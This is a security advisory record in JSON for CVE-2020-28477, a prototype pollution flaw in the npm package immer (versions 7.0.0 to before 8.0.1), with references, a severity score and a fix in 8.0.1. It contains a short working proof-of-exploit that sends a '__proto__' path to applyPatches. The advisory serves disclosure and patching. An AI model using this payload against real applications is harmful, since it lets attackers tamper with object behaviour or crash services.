{"id":"GHSA-9qmh-276g-x5pj","summary":"Prototype Pollution in immer","details":"## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: 'add', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: 'replace', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.","aliases":["CVE-2020-28477"],"modified":"2025-01-14T08:57:00.110130Z","published":"2021-01-20T21:27:56Z","database_specific":{"github_reviewed_at":"2021-01-20T19:37:58Z","nvd_published_at":"2021-01-19T11:15:00Z","cwe_ids":["CWE-471"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28477"},{"type":"WEB","url":"https://github.com/immerjs/immer/issues/738"},{"type":"WEB","url":"https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5"},{"type":"WEB","url":"https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-IMMER-1019369"},{"type":"WEB","url":"https://www.npmjs.com/package/immer"}],"affected":[{"package":{"name":"immer","ecosystem":"npm","purl":"pkg:npm/immer"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"8.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/01/GHSA-9qmh-276g-x5pj/GHSA-9qmh-276g-x5pj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}